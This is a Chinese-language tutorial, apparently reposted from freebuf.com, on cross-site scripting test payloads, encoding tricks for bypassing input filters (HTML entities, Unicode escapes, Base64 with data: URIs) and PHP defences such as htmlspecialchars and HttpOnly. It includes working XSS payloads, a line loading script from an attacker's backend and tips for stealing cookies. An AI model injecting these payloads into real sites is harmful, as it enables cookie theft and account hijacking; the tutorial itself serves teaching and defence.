XSS编码绕过和防御 – 作者:zhijian

第一部分:常用JS测试语句小结

1.0 常用测试语句说明

<script>alert(1)</script>        //这里alert(1)只是为了简单明了,当然可以弹出cookie.把1换成document.cookie即可.
<script src=x onerror=alert(1)></script>   //引入x,由于x不存在,触发onerror函数,进行弹框
<script src=’http://www.test.com/probe.js’></script>   //直接引入到攻击者的后台网站(可以直接用beef)
<svg onload=alert(1)>              //svg标签用来插入图形,onload表示页面加载完成,触发弹框

<video src=1 onerror=alert(1)>   //插入视频时,错误就触发弹框
<audio src=1 onerror=alert(1)>     //插入声音时,错误就触发弹框
<a href=javascript:alert(1)></a>   //href里可以使用javascript伪协议进行弹框(当过滤了其他语句时,可以使用)

 

XSS的挖掘思路,大概可以分为2大类:在标签内,还是标签外.

(1)如果在标签外,就想办法先闭合标签,再构造<script>标签;

(2)如果在标签内,就想办法闭合本标签,构造JS事件或伪协议的方式来触发XSS;

根据不同的情况,详细举例如下:

1.1 html标签内

#情况1、输出在html标签外  
需要可以构造JS完整标签域,如果不能构造标签就不存在XSS漏洞。
#举例:
<p>hello
<script type=”text/javascript”>alert(‘我是html中xss’)</script>
</p>

1.2 html标签外

#情况2、输出到标签中:先闭合,再构造事件属性.
如果输出在”双引号或者’单引号内部,需要能够闭合引号,如果不能闭合引号,就需要看能否在当前的标签属性中执行js代码,如果不能,就不存在XSS漏洞。

原始语句1:<body {构造事件payload}>
原始语句2:<img src=”#” alt=”{payload}”>
原始语句3:<input type=”text” name=”” value=”{payload}”>

图片[1]-XSS编码绕过和防御 – 作者:zhijian-安全小百科

 

1.3 利用css触发弹框举例

<body style=”background:url(‘javascript:alert(“xxxx”)’)”>  #IE9/7/10可以弹框(其他不可以)
<img src=”#” style=”xss:expression(alert(‘img_xss’))” >     #IE9可以,IE10不行<style type=”text/css”>
 body{xss:expression(alert(‘body_xss’));}   //IE9可以,其他不行
</style>

 

1.4 script标签中

<script type=”text/javascript”>
 //原始语句:var x=’hello{payload}’;先用'</script>闭合前边的变量和script标签,再重新构造标签.
 var x = ‘hello'</script><script type=”text/javascript”>alert(111)</script>>’;
 document.write(x);
</script>

图片[2]-XSS编码绕过和防御 – 作者:zhijian-安全小百科

1.5 通过伪协议

<iframe src=”javascript:alert(111)”></iframe>  //火狐/IE/谷歌都支持
<a href=”javascript:alert(111)”>aaa</a>

当然还有其他标签,这里就不一一列举了

第二部分:常用的JS编码举例

2.1 常见编码介绍

1. URL编码:将不安全的字符使用URL方式传输; 比如%20(空格)
2. html编码:防止特殊字符比如<>对页面造成影响,一般以&开头,分号结果.
3. javascript编码: 可以识别8进制/16进制和Unicode编码
4.base64编码: 一般需要配合data协议使用

说明:一般情况为了防止服务端对用户输入做了过滤,这时候可以尝试用编码进行绕过

        有的浏览器版本差异,需测试不同的语句,是否能被浏览器执行.

2.2 HTML实体编码

1.HTML实体编码:主要分为10进制和16进制,格式为 &#开头以分号结尾;

  (1)比如:< 的10进制编码为 &#60; <的16进制编码为 &#x3c;

2.html实体编码在JS中的使用

  #把alert进行html10进制和16进制编码
  <img src=1 onerror=”&#0097;&#0108&#000101&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;”>    # 火狐/谷歌/IE都支持,进行html十进制编码
  <img src=1 onerror=”&#x0061;&#x006C;&#x0065;&#x0072;&#x0074;(444)”> #火狐/谷歌/IE都支持,进行html的十六进制编码 

2.3 JS中的编码分类

1.JS中可以识别的编码类型有

  (1)三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
  (2)两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
  (3)四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c” ===>也叫做Unicode编码

2.JS中使用Unicode编码举例(相对来讲,Unicode编码用的比较广;8进制和16进制有兴趣的同学,可自行查阅)

   #alert转换为Unicode是(\u0061\u006c\u0065\u0072\u0074)各种编码也可以随便使用.
   <img src=1 onerror=”\u0061\u006c\u0065\u0072\u0074(1)”>  #火狐/谷歌/IE都支持

2.4 Base64编码和data协议使用

1.Base64编码介绍:Base64就是一种基于64个可打印字符来表示二进制数据的方法。

  有很多优点:

  (1)对原始数据进行编码(再签名或者加密等再Base64传输),需要解码后才能阅读,增加了一定的安全性;
  (2)更方便数据的传输,例如二进制文件或图片等无法用字符直接传输;
  (3)防止一些特殊字符对原始数据的解析干扰

2.base64应用举例

  (1)准备测试语句并进行Base64加密(相对来说script弹框可以执行的情况更多)

  <script>alert(1)</script> Base64:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
  <img src=x onerror=alert(1)>  Base64:PGltZyBzcmX9eCBvbmVycX9yPWFsZXJ0KDEpPg==

 说明:发布文章时,Base64编码中有M9不能发布,所以改成了X9. 做练习时,不要直接复制我的Base64编码呀.

 可以使用burp/小葵/站长之间等在线工具进行Base64编码的转换.

(2)data协议介绍

   直接把base64放入页面是不能执行的,我们需要告诉浏览器使用的编码格式.而data就是用来搭配base64使用的.

   data基本格式:  资源类型 ; 编码类型 , 弹框内容;

 (3)配合data标签使用

  <a>标签举例

  <a href=”data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>
    script</a>
  <a href=”data:text/html;base64,PGltZyBzcmX9eCBvbmVycX9yPWFsZXJ0KDEpPg==”>img</a>

<object>标签举例

<object data=”data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>
    script</object>   
<object data=”data:text/html;base64,PGltZyBzcmX9eCBvbmVycX9yPWFsZXJ0KDEpPg==”>
    img</object>

<iframe>标签举例

  <iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></iframe>    
  <iframe src=”data:text/html;base64,PGltZyBzcmX9eCBvbmVycX9yPWFsZXJ0KDEpPg==”></iframe>

第三部分:XSS的防御

3.1 XSS防御方法

总体思路:对用户输入进行过滤,对输出进行编码;

1. 对用户输入进行XSS防御方式有2种:基于黑名单的过滤和基于白名单的过滤. 而白名单相对来说更安全;

   黑名单:只规定哪些数据不能被输入,很可能被绕过;比如对 ‘  ”   <> 等进行过滤

   白名单:只定义哪些数据正常才能被提交;

2. 设置http-only参数为true,这样JS就不能读取cookie信息了;(特殊常见可能被绕过)

3. 使用一些函数进行防御

4. 不要随意打开一些来历不明的网站或链接

3.2 XSS防御函数

1. htmlspecialchars:可以把输入内容转换为HTML实体.

    //该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)
    (1)预定义的字符是:
    & (和号)成为 &amp
     ” (双引号)成为 &quot
    ’ (单引号)成为&#039
     < (小于)成为 &lt
     >(大于)成为 &gt

    //过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

    可用的quotestyle类型:
    ENT_COMPAT – 默认。仅编码双引号
    ENT_QUOTES – 编码双引号和单引号
    ENT_NOQUOTES – 不编码任何引号

    //举例1:设置ENT_QUOTES
    $message = htmlspecialchars($_GET[‘message’],ENT_QUOTES);

    //举例2:
    $str = “<script>alert(document.cookie)</script>”;
    echo $str;
    $str1 = htmlspecialchars($str);

2.htmlentities()作用:把特殊字符转换为html实体
  #基本格式:htmlentities(string,flag,character-set,double_encode)函数

   $str = “Bill & ‘Steve'”;
   echo  htmlentities($str);
   echo htmlentities($str, ENT_COMPAT); // 只转换双引号

3.strip_tags()函数作用:自动去掉字符串中HTML/XML和PHP的标签;始终会剥离HTML注释,不能修改.

   #举例1:移除html标签
   echo strip_tags(“Hello <b>world!</b>”);  #结果Hello world!
   #举例2:移除JS标签
   $str = “<script>alert(document.cookie);</script>”;
   $new = strip_tags($str);
   echo $new;   #结果alert(document.cookie)

4.这些函数虽然能从一定程度上实现对XSS的防护,但是有的时候不够灵活.  还可以根据需求,自定义函数,对一些特殊字符进行转译

来源:freebuf.com 2020-07-24 23:58:27 by: zhijian

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论